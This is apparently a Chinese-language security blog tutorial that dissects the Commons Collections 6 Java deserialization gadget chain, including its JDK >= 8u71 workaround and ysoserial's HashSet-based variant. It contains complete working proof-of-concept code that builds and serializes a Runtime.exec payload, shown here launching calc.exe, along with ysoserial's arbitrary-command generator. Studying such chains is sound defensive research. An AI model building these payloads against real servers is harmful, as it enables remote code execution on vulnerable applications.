CommonsCollections6链
yearnxyl Lv2

Why CommonsCollections6?

CC1的条件:Apache Commons Collections 3.1-3.2.1&&JDK<8u71。CC6便是为了解决JDK>=8u71的情况

JDK>=8u71时,AnnotationInvocationHandler.readObject()如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;

try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Map.Entry var9 = (Map.Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(objectToString(var11))).setMember((Method)var5.members().get(var10));
}
}
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

获取传递进来的反序列化类的typememberValuesmemberValues记录类字段名和字段值。根据type生成新的类,若类中的字段在反序列化类中存在时,将字段名和字段值存入LinkHashMap中。

和低版本的readObject()进行比较,发现并没有调用外部类的方法,也就没有办法调用TransformedMap.checkSetValue()LazyMap.get()

构造CommonsCollections6

由于CC6是解决CC1在高版本不适用的问题。因此CC6的关键点就在于:能否找到一个类,通过某种方式调用了LazyMap.get()TransformedMap.checkSetValue()

这里引入一个新的类:org.apache.commons.collections.keyvalue.TiedMapEntry

TiedMapEntry

在该类中主要关注如下三个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//构造方法
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
//getValue()
public Object getValue() {
return this.map.get(this.key);
}
//hashCode()
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

调用关系:hashCode()->getValue()->LazyMap.get()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.keyvalue.TiedMapEntry;


public class test {
public static void main(String[] args) throws Exception {
//构造CC链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap<>();
//创建LasyMap
Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer);

TiedMapEntry tme=new TiedMapEntry(lazyMap,"test");
tme.hashCode();
}
}

image

构造CommonsCollections6

很显然想要构造完整的Gadget,需要找到一个类,该类的readObject()方法可以执行TiedMapEntry.hashcode()。在URLDNS章节分析ysoserial时,有提到过:当执行hash(key)时会执行key.hashcode(),而HashMap.readObject()恰巧有hash(key)的操作。

因此我们构造如下Gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.keyvalue.TiedMapEntry;


public class test {
public static void main(String[] args) throws Exception {
//创建文件存储序列化数据
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//构造CC链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap<>();
//创建LasyMap
Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer);
Map outerMap=new HashMap<>();
TiedMapEntry tme=new TiedMapEntry(lazyMap,"test");
outerMap.put(tme,"xxxx");
objectOutputStream.writeObject(outerMap);
Object o=objectInputStream.readObject();
}
}

image

我们执行之后发现成功弹出了计算器。看似一切顺利,皆大欢喜,其实这里有个很大的坑。

观察如下截图:当序列化和反序列化两行代码被注释时,仍然可以成功弹出计算器。也就是说弹计算器和反序列化无关,和HashMap.readObject()无关。

image

为什么会产生这种情况?其实这点在URLDNS章节也同样提到了,在URLDNS章节分析时提到过应当会发起两次DNS请求,原因就在于HashMap.put()方法也会调用hash(key)进一步调用key.hashcode()。这里的计算器就是由outerMap.put()执行的。

image

那为什么这里只弹出了一个计算器而不是两个?这里就要看一下LazyMap.get()了。

image

key不存在时,会去执行我们构造的gadget。随后,会执行super.map.put(key,value),来存储数据。这也就导致,当我们反序列化的时候是可以在innerMap中找到key的,也就不会执行构造的gadget了。

解决方法便是innerMap.remove()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.keyvalue.TiedMapEntry;


public class test {
public static void main(String[] args) throws Exception {
//创建文件存储序列化数据
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//构造CC链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap<>();
//创建LasyMap
Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer);
Map outerMap=new HashMap<>();
TiedMapEntry tme=new TiedMapEntry(lazyMap,"test");
outerMap.put(tme,"xxxx");
innerMap.remove("test");
objectOutputStream.writeObject(outerMap);
Object o=objectInputStream.readObject();
}
}

image

ysoserial的CommonsCollections6

看一下ysoserial中是如何实现CC6的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public Serializable getObject(final String command) throws Exception {

final String[] execArgs = new String[] { command };

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);

return map;

}

根据return map可以看出,在ysoserial中进行序列化和反序列化的类为HashSet

看一下HashSet.readObject()会发现其最后执行了map.put(e, PRESENT),这里的mapHashSet的成员变量。要想成功构造gadget,需要e为我们构造的TiedMapEntry,可以看到e通过反序列化流s.readObject()获得。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.readFields();
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
loadFactor = Math.min(Math.max(0.25f, loadFactor), 4.0f);
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " + size);
}
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
SharedSecrets.getJavaOISAccess()
.checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

看一下HashSet.writeObject(),会发现e是map.keySet(),在序列化时写入流中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();

// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());

// Write out size
s.writeInt(map.size());

// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}

上面说过mapHashSet的成员变量。map的类型是HashMapHashMap.keySet()可以获取HashMap中的所有键的集合

image

也就意味着我们构造的类TiedMapEntry应当是HashSet里面HashMap成员变量的一个Key

在ysoserial中使用下面代码来将TiedMapEntry作为key放到HashMap中。

    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;
    try {
        f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }

    Reflections.setAccessible(f);
    HashMap innimpl = (HashMap) f.get(map);

    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }

    Reflections.setAccessible(f2);
    Object[] array = (Object[]) f2.get(innimpl);

    Object node = array[0];
    if(node == null){
        node = array[1];
    }

    Field keyField = null;
    try{
        keyField = node.getClass().getDeclaredField("key");
    }catch(Exception e){
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }

    Reflections.setAccessible(keyField);
    keyField.set(node, entry);

在分析代码前,先补充一个知识:在HashMap中存在内置类NodeNode存在成员变量keyvalue,当向HashMap中存放数据时,其实是在HashMap中创建了Node,来存放数据。具体实现过程涉及到红黑树,这里暂不研究。

因此,将TiedMapEntry作为key放到HashMap中,需要获取到Node并修改key的值。

image

接下来分析ysoserial:

  • 首先通过反射,获取HashSet中的成员变量mapmapHashMap
  • 再通过反射获取HashCode中的成员变量tabletableHashMap内置Node类。代码获取到的是Object数组。Object[] array = (Object[]) f2.get(innimpl);这是因为我们创建的HashSet容量为1。当存入foo作为key后,会进行自动扩容。由于Node为内部类,且未通过public进行修饰。因此只能是Object
  • Node是无序的,因此需要通过判断语句来获取。
  • 最后通过反射来获取Node成员变量key,并将key更改为TiedMapEntry

总结

HashMap:

image

HashSet:

image